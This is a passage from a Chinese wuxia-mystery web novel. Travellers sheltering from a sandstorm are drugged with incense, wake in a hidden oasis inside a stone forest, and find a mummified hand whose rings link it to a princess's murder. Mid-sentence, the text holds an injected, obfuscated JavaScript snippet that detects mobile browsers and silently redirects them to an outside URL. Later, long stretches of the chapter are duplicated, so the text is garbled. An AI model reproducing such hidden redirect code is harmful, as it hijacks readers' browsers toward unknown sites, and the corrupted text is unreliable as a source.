“听闻那莫云愁是二十年前已经覆灭的黎国权贵之子,家风甚严,常接济贫苦百姓。黎国覆灭后加入了玉龙会,靠着机关玲珑梅花箭排到了第七名。有一次路过我们现在呆的这片戈壁时……” “等等。”尤微兰打断他,“梅花箭是什么?” 阿尤汗顿了顿,回答她:”是一种机关箭,传闻中箭会留下梅花一样的伤口。” 尤微兰双眼微微睁大,顺禾公主尸体上的伤口就是梅花状的! “这不是重点。”阿尤汗见尤微兰没接话便接着说道,“重点是他进了这片沙漠后遇到了吃人的石林,与他同行的有一位老人,那老人虽被莫云愁带了出来,可变得疯疯癫癫见人就扑上去咬,话也都不会说了,只能发出咿咿啊啊的声音。 “而莫云愁也是奇怪,他将这老人带出来后便从此失踪,连玉龙会的比武排名也没去,从此便销声匿迹了。” 莲心见尤微兰沉思着没反应,连忙接话问道:“可这和小师傅你的朋友库拜有什么关系呢?” 阿尤汗对莲心的追问颇为满意,慢条斯理地从腰间解下自己的水囊喝了一口道:“别急啊,这就要说到了。那老人正是库拜的爷爷,虽然变得疯疯傻傻,可身上却有一袋不知从哪里找的金沙。原本爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15125133|164127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孙俩相依为命过得艰苦,现在库拜家里也买得起的骆驼车了,还雇我和弟弟同他一起做领驼人呢!真是个仗义的朋友。” 伊茹烦他得瑟的样子,小小白他一眼道:“这都跑偏到哪了,就知道吹牛。” 阿尤汗有些不满,却把话头拉了回来:“上月库拜带一个商队进戈壁,没成想碰到了沙暴和这吃人的石林。他当时劝商队不要进去,可那些人压根不信他的话,说是时间紧,忙着赶路呢,库拜实在是拗不过,便将银钱退还后自己一个人原路返回了。” 尤微兰问道:“那他们都没出来吗?” 阿尤汗说到这表情有些沉重,轻轻摇了摇头:“没有,而且库拜回去后大病一场,还日日梦魇,就像是被什么东西缠上了一样。” 莲心不由自主地打了个哆嗦,她胆子小,也尤其害怕鬼神之说,顿时觉得脊背发凉。 伊茹看见她的反应,不动声色地坐过去对阿尤汗道:“别吓唬人了,你怎么知道是被什么乱七八糟的东西缠上的?” 尤微兰也抬起头问道:“不是说库拜请了小师傅与弟弟一同做领驼人吗?为什么那次没和他一起走?” 阿尤汗双手抱胸靠在车厢上,作出一副深沉的样子回答:“那段时间正好是我阿恰出嫁的时候,阿伊卡让我们给族长帮忙操持婚事,所以就没跟着库拜一起,毕竟得让阿恰未来的丈夫知道她也是有汉子保护的,休想欺负我阿恰。 “所以我再见到库拜时,已经是一月后了,他天天顶着两个黑眼圈,嘴里还一直哼哼着听不懂的小调,别人和他说话理都不理,任谁看了都是说中邪。我还特地请了族里的萨满巫师前来做了常场事,法事一了当场便好了。” 肆虐的狂风再次将压着的车帘高高吹起,连带着沙砾与纷纷扬扬的尘土一同飞了进来,仿佛是给阿尤汗的故事助兴。 几人的头巾与面纱都被吹得紧贴在脸上,离车门口最近的阿尤汗连忙将车帘压住,重新塞好。 不知从何处飘来一阵淡淡的檀香味,尤微兰微微皱起眉,前不着村后不着店,大漠戈壁哪里来的香呢? 眼前漂浮的尘土似乎比刚才更多,视线都被迷蒙地不清晰起来。 原本车门口坐着的阿尤汗毫无征兆地倒在一旁,身侧的莲心与伊茹也紧跟着倒下去。 不好,尤微兰见状立刻掩住口鼻,这檀香味是迷药。 可还是为时已晚,尤微兰的眼皮不受控制地一点点合上,软绵绵地倒在了莲心身上。 “啊……天地为我居……啊……雨雪为我裳……” “……白骨铺荒野……腥风满穹庐……” 耳边传来模糊又尖利的歌声,伴着草从树林中鸟雀嬉戏的鸣叫。 鼻尖则萦绕着若有若无的淡淡花香,温暖耀眼的阳光轻柔地落在地上横七竖八躺着的几人身上。 敖云是第一个醒来的,他躺在一棵十人环抱才堪堪围住的巨树下,身上落了些不知名的红色小果,被清晨饥饿难耐的鸟雀们争相啄食,顺势也将他啄得醒了过来。 他艰难地睁开昨夜被沙暴迷得干涩疼痛的双眼,四处打量着,眼前赫然是世外桃源戈壁绿洲一般的景象。 巨树高大茂密得仿佛可直通天际,四周却被血红的岩石所包裹,仿佛是一个巨大的洞穴,明媚耀眼的阳光穿过巨树层层叠叠的枝叶落在柔软得像地毯一般的草地上,中原路边随处可见的小花星星点点地开了一地。 他的身后是一条清澈见底的潺潺小溪,能轻而易举地看清水底红色的岩石与细小的沙砾,静谧无声地向远处奔流而去。 不远处躺着扮成侠客的尤微兰和伊茹等人,三个领驼人也面朝下倒在一起,他们的骆驼与车就停在不远处。 眼前的一切都太过不真实,敖云愣怔在原地,一时间有些不知所措。 正当他匪夷所思时,一道凄厉尖锐的女声打破了这鸟语花香的平静:“啊!!!” 9. 第9章 蜿蜒崎岖的石林中回荡着刺耳的尖叫,原本平静的小溪突然沸腾起来,蒸腾的热气渐渐飘散开,将枝叶间流淌而下的阳光变成了一道道明亮的光柱。 尤微兰艰难地从地上爬起来,这刺耳的尖叫声震得她头痛欲裂,半眯着一只眼睛看向四周。 生机勃勃的花草树木和头上扑腾着翅膀的小鸟,身侧沸腾的小溪仿佛在迎合那尖叫声一般愈演愈烈。 这诡异的一幕让尤微兰渐渐清醒过来,强撑着坐起来环顾四周,想要找到声音来源。 这是哪?他们不是在石林入口躲沙暴吗? 身边的几个人也纷纷被吵醒,皆皱眉坐起身,目瞪口呆地看着周围的景象。 凄厉的尖叫声戛然而止,仿佛是特意为了吵醒他们才出现的一样,沸腾的溪水也随其消失而渐渐平静下来。 “这里难道是……”阿尤汗面露恐惧,扯住右手边那个瘦瘦高高的少年欲言又止。 库拜原本呆滞的表情转变为不安,因恐惧而颤抖的下唇过了许久才磕磕巴巴地吐出一句完整的话:“是,是这里。它……它把我们吃掉了!” 伊茹手脚并用地从草坪上爬起来,按着自己因尖叫声而微微作痛的太阳穴,问道:“可阿尤汗不是说我们所在的石林是灰白的岩石不是红色的岩石吗?怎么会跑到这里来?” 年纪尚小的布里汗带着哭腔嗫嚅着:“它定是看到我们停在那个石林入口了,送上门的猎物岂会放过?现在,现在我们都活不成了。” 说完,气氛便突然陷入了奇怪的沉默,无声的恐惧与不知所措的惊慌悄然弥漫,深深浅浅地渗透进来。 半晌,尤微兰面色凝重道:“我不信什么鬼神之说。恐怕这是有人故意为之,不如我们先捋捋来到这里之前发生的事情?” 敖云从另一边走过来:“何以见得是有人故意为之?” 尤微兰将头上的面纱摘下来回答道:“在骆驼车里时,有人给我们下了迷药。我亲眼看着莲心、伊茹和阿尤汗在我面前倒下的。” 听她这样说,身边的人神色突然变得怪异起来,看向她的眼神带着疑惑与警惕。 尤微兰看着众人的反应微微蹙眉,问道:“怎么了?” 莲心脸色不大好,犹豫地回答:“昨夜沙暴险些将咱们的车吹翻,无奈之下只好走进石林里,可还没走多久便遇到了流沙,骆驼和车都不见了。姑娘,这些你都不记得了吗?” 流沙?尤微兰努力回忆着昨天晚上发生的事,可脑海中只有车内几人接二连三倒下去的景象。 尤微兰一时间有些恍惚,回答道:“没有。我不记得这件事。” 听到她的回答,布里汗眼中的恐惧都凝结成了大颗大颗的眼泪,顺着脸颊淌下來:“她肯定是被鬼怪给缠上了呜呜呜呜,接下来就要轮到我们了。” 听到布里汗的哭声,尤微兰身上突然有种虫蚁爬过般的痛痒之感,心中没由来地生出一股无名火,抑制不住地想大喊大叫。 她立刻察觉到了自己的异常,闭上双眼别过脸努力克制着心中的怒火。 不对,一定不是石林的问题,自己的反应很奇怪,这或许是一个圈套。 尤微兰深深地吸了口气,再次睁眼时,愤怒与暴躁已然消失,漆黑的眸子里是冷静的审视。 她打量起眼前的几人来,三个领驼人身上布满了星星点点的擦伤和瘀伤,原本裹着的头巾只剩下破破烂烂的几条碎布。 而莲心和伊茹两人则是灰头土脸的模样,全身上下的衣裙都是灰扑扑的,乌黑亮泽的长发上满是尘土和灰黄的沙粒。 敖云和自己的小侍从艾吉沐则更加狼狈些,原本笔挺的羊皮长袍变得褴褛,艾吉沐的长裤也磨破了膝盖。两人只消在脖子上挂个牌子手上再端个碗,便可直接加入丐帮改行要饭了。 尤微兰掩面挣扎着从地上站起来,腿上的伤口渗出点点黑色的血迹。 莲心赶忙站起身来扶住她:“姑娘要什么,我替姑娘去取。” 尤微兰一瘸一拐地走向身后的小溪:“我要看看我的样子。” 莲心愣了一瞬,小心搀扶她到小溪边:“姑娘与往日无二,秀丽大方。不必担心。” 尤微兰没有说话,她看着小溪水面反射出自己的倒影,扯了扯嘴角露出一个“果然如此”的笑。 另一边的三个领驼人紧盯着她的动作,生怕尤微兰突然发狂做出什么伤人的事来。 “库拜,你阿塔有没有和你说过是怎么出去的啊?”阿尤汗两鬓满是害怕和着急生出的汗,见尤微兰跑到水边看自己的倒影,只觉得心里毛毛的。 满脸尘土的库拜有气无力地顺着他的目光看了一眼尤微兰,长叹一口气,摇摇头:“没有,阿塔从这石林出来后,已经不会说话了。” 布里汗坐在一旁专心致志地沉浸在自己被石林“吃掉”的悲伤中,抽抽嗒嗒地拿起自己只剩下一小条的袖子抹了抹眼睛鼻子,可那布条实在是小的可怜,他只好撩起衣襟的下摆,却没想到碰到一只冰冷干枯的手。 “啊!!!!!!”布里汗一跃而起,那只枯手就这样被他甩到了半空。 敖云闪身避开,一只手按在腰间的佩刀上,蓄势待发。 尤微兰听到动静转过头,她微微一愣,然后缓缓蹲下将那只枯手拿在手中仔细观察起来。 那只手干瘪的不成样子,黑灰的皮肤紧贴着骨头,隐隐能看到薄如蝉翼的皮肉下森白的骨节。 中指与无名指上戴着两个精美的晴水翡翠戒圈,修长的指尖上留着被磨损的有些参差不齐的指甲,尤微兰轻轻将指甲上的尘土拂去,隐约能看出指甲被凤仙花涂染的痕迹。 尤微兰将那两枚戒圈取下,发现里面赫然刻着她在御花园中所见到帕子上的海棠花纹。 唯一安然无恙从这石林迷宫中出来的莫云愁,有着能造成梅花状伤口的武器,而顺禾公主胸口处的伤口刚好是梅花状的。御花园里被挖出来的尸骨和奇怪的海棠花帕子,又正好在这诡异石林里发现了干尸所戴的戒指上出现了同样的海棠花纹。 真是……非常有趣。 尤微兰扯起嘴角,眼中的兴奋简直要溢出眼眶,此刻的她简直可以说是容光焕发,一手抓着枯手一瘸一拐地向那三个并排坐着的领驼人走去。 被吓飞了魂的布里汗呆呆地看着尤微兰一脸云淡风轻地将掉在地上的枯手拿起来仔细端详,甚至还用手指摸了摸枯手的指甲。 最可怕的是,这个奇怪的姑娘正满脸兴奋地笑着向自己走过来了! 布里汗当是那枯手的主人附在她的身上,准备来问责,哆嗦着闭起双眼一都不敢动,只是嘴里不停小声嘀咕着“腾格里保佑”。 他身旁的阿尤汗和库拜也没好到哪里去,见尤微兰不但没有被这枯手吓得惊声尖叫,反而拿起来摆弄,不由得心生寒意,两股战战几欲起身奔逃。 尤微兰完全不知道几人的忐忑,随手拍了拍布里汗的肩:“小师傅,你让一让。” 布里汗被她的动作吓得惊叫一声,以为自己要被尤微兰这个“枯手之主”处决了,眼睛压根都不睁一下,只是跪在地上连连磕头道:“饶了我吧!我是无心之失啊!再也不敢了!” 敖云走过来,一言不发地皱眉盯着缩成一个团的布里汗,身旁的阿尤汗立刻感觉到了敖云周身威压的气势,连忙俯下身子去拉布里汗:“还请贵人见谅,布里汗年纪尚小,又看多了民间的话本子和戏文,多有得罪。” 敖云冷冷瞥了眼他们,出声道:“带他去那边空地上休息吧!” 尤微兰的思绪则全扑在眼前这具干尸上,全然不理身旁的几人。 干尸倒在一块板凳高的枯木后,黑褐色的皮肤在太阳的曝晒下变得皱皱巴巴的,身上穿着没有一点光泽的灰褐色绸缎长袍,加上尸身瘦小又直挺挺地贴着枯木,看上去仿佛枯木分出的一截树干。 蜿蜒崎岖的石林中回荡着刺耳的尖叫,原本平静的小溪突然沸腾起来,蒸腾的热气渐渐飘散开,将枝叶间流淌而下的阳光变成了一道道明亮的光柱。 尤微兰艰难地从地上爬起来,着刺耳的尖叫声震得她头痛欲裂,半眯着一只眼睛看向四周。 生机勃勃的花草树木和头上扑腾着翅膀的小鸟,身侧沸腾的小溪仿佛在迎合那尖叫声一般愈演愈烈。 这诡异的一幕让尤微兰渐渐清醒过来,强撑着坐起来环顾四周,想要找到声音来源。 这是哪?他们不是在石林入口躲沙暴吗? 身边的几个人也纷纷被吵醒,皆皱眉坐起身,目瞪口呆地看着周围的景象。 凄厉的尖叫声戛然而止,仿佛是特意为了吵醒他们才出现的一样,沸腾的溪水也随其消失而渐渐平静下来。 “这里难道是……”阿尤汗面露恐惧,扯住右手边那个瘦瘦高高的少年欲言又止。 库拜原本呆滞的表情转变为不安,因恐惧而颤抖的下唇过了许久才磕磕巴巴地吐出一句完整的话:“是,是这里。它……它把我们吃掉了!” 伊茹手脚并用地从草坪上爬起来,按着自己因尖叫声而微微作痛的太阳穴,问道:“可阿尤汗不是说我们所在的石林是灰白的岩石不是红色的岩石吗?怎么会跑到这里来?” 年纪尚小的布里汗带着哭腔嗫嚅着:“它定是看到我们停在那个石林入口了,送上门的猎物岂会放过?现在,现在我们都活不成了。” 说完,气氛便突然陷入了奇怪的沉默,无声的恐惧与不知所措的惊慌悄然弥漫,深深浅浅地渗透进来。 半晌,尤微兰面色凝重道:“我不信什么鬼神之说。恐怕这是有人故意为之,不如我们先捋捋来到这里之前发生的事情?” 敖云从另一边走过来:“何以见得是有人故意为之?” 尤微兰将头上的面纱摘下来回答道:“在骆驼车里时,有人给我们下了迷药。我亲眼看着莲心、伊茹和阿尤汗在我面前倒下的。” 听她这样说,身边的人神色突然变得怪异起来,看向她的眼神带着疑惑与警惕。 尤微兰看着众人的反应微微蹙眉,问道:“怎么了?” 莲心脸色不大好,犹豫地回答:“昨夜沙暴险些将咱们的车吹翻,无奈之下只好走进石林里,可还没走多久便遇到了流沙,骆驼和车都不见了。姑娘,这些你都不记得了吗?” 流沙?尤微兰努力回忆着昨天晚上发生的事,可脑海中只有车内几人接二连三倒下去的景象。 尤微兰一时间有些恍惚,回答道:“没有。我不 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敖云和自己的小侍从艾吉沐则更加狼狈些,原本笔挺的羊皮长袍变得褴褛,艾吉沐的长裤也磨破了膝盖。两人只消在脖子上挂个牌子手上再端个碗,便可直接加入丐帮改行要饭了。 尤微兰掩面挣扎着从地上站起来,腿上的伤口渗出点点黑色的血迹。 莲心赶忙站起身来扶住她:“姑娘要什么,我替姑娘去取。” 尤微兰一瘸一拐地走向身后的小溪:“我要看看我的样子。” 莲心愣了一瞬,小心搀扶她到小溪边:“姑娘与往日无二,秀丽大方。不必担心。” 尤微兰没有说话,她看着小溪水面反射出自己的倒影,扯了扯嘴角露出一个“果然如此”的笑。 另一边的三个领驼人紧盯着她的动作,生怕尤微兰突然发狂做出什么伤人的事来。 “库拜,你阿塔有没有和你说过是怎么出去的啊?”阿尤汗两鬓满是害怕和着急生出的汗,见尤微兰跑到水边看自己的倒影,只觉得心里毛毛的。 满脸尘土的库拜有气无力地顺着他的目光看了一眼尤微兰,长叹一口气,摇摇头:“没有,阿塔从这石林出来后,已经不会说话了。” 布里汗坐在一旁专心致志地沉浸在自己被石林“吃掉”的悲伤中,抽抽嗒嗒地拿起自己只剩下一小条的袖子抹了抹眼睛鼻子,可那布条实在是小的可怜,他只好撩起衣襟的下摆,却没想到碰到一只冰冷干枯的手。 “啊!!!!!!”布里汗一跃而起,那只枯手就这样被他甩到了半空。 敖云闪身避开,一只手按在腰间的佩刀上,蓄势待发。 尤微兰听到动静转过头,她微微一愣,然后缓缓蹲下将那只枯手拿在手中仔细观察起来。 那只手干瘪的不成样子,黑灰的皮肤紧贴着骨头,隐隐能看到薄如蝉翼的皮肉下森白的骨节。 中指与无名指上戴着两个精美的晴水翡翠戒圈,修长的指尖上留着被磨损的有些参差不齐的指甲,尤微兰轻轻将指甲上的尘土拂去,隐约能看出指甲被凤仙花涂染的痕迹。 尤微兰将那两枚戒圈取下,发现里面赫然刻着她在御花园中所见到帕子上的海棠花纹。 唯一安然无恙从这石林迷宫中出来的莫云愁,有着能造成梅花状伤口的武器,而顺禾公主胸口处的伤口刚好是梅花状的。御花园里被挖出来的尸骨和奇怪的海棠花帕子,又正好在这诡异石林里发现了干尸所带的戒指上出现了同样的海棠花纹。 真是……非常有趣。 尤微兰扯起嘴角,眼中的兴奋简直要溢出眼眶,此刻的她简直可以说是容光焕发,一手抓着枯手一瘸一拐地向那三个并排坐着的领驼人走去。 被吓飞了魂的布里汗呆呆地看着尤微兰一脸云淡风轻地将掉在地上的枯手拿起来仔细端详,甚至还用手指摸了摸枯手的指甲。 最可怕的是,这个奇怪的姑娘正满脸兴奋地笑着向自己走过来了! 布里汗当是那枯手的主人附在她的身上,准备来问责,哆嗦着闭起双眼一都不敢动,只是嘴里不停小声嘀咕着“腾格里保佑”。 他身旁的阿尤汗和库拜也没好到哪里去,见尤微兰不但没有被这枯手吓得惊声尖叫,反而拿起来摆弄,不由得心生寒意,两股战战几欲起身奔逃。 尤微兰完全不知道几人的忐忑,随手拍了拍布里汗的肩:“小师傅,你让一让。” 布里汗被她的动作吓得惊叫一声,以为自己要被尤微兰这个“枯手之主”处决了,眼睛压根都不睁一下,只是跪在地上连连磕头道:“饶了我吧!我是无心之失啊!再也不敢了!” 敖云走过来,一言不发地皱眉盯着缩成一个团的布里汗,身旁的阿尤汗立刻感觉到了敖云周身威压的气势,连忙俯下身子去拉布里汗:“还请贵人见谅,布里汗年纪尚小,又看多了民间的话本子和戏文,多有得罪。” 敖云冷冷瞥了眼他们,出声道:“带他去那边空地上休息吧!” 尤微兰的思绪则全扑在眼前这具干尸上,全然不理身旁的几人。 干尸倒在一块板凳高的枯木后,黑褐色的皮肤在太阳的曝晒下变得皱皱巴巴的,身上穿着没有一点光泽的灰褐色绸缎长袍,加上尸身瘦小又直挺挺地贴着枯木,看上去仿佛枯木分出的一截树干。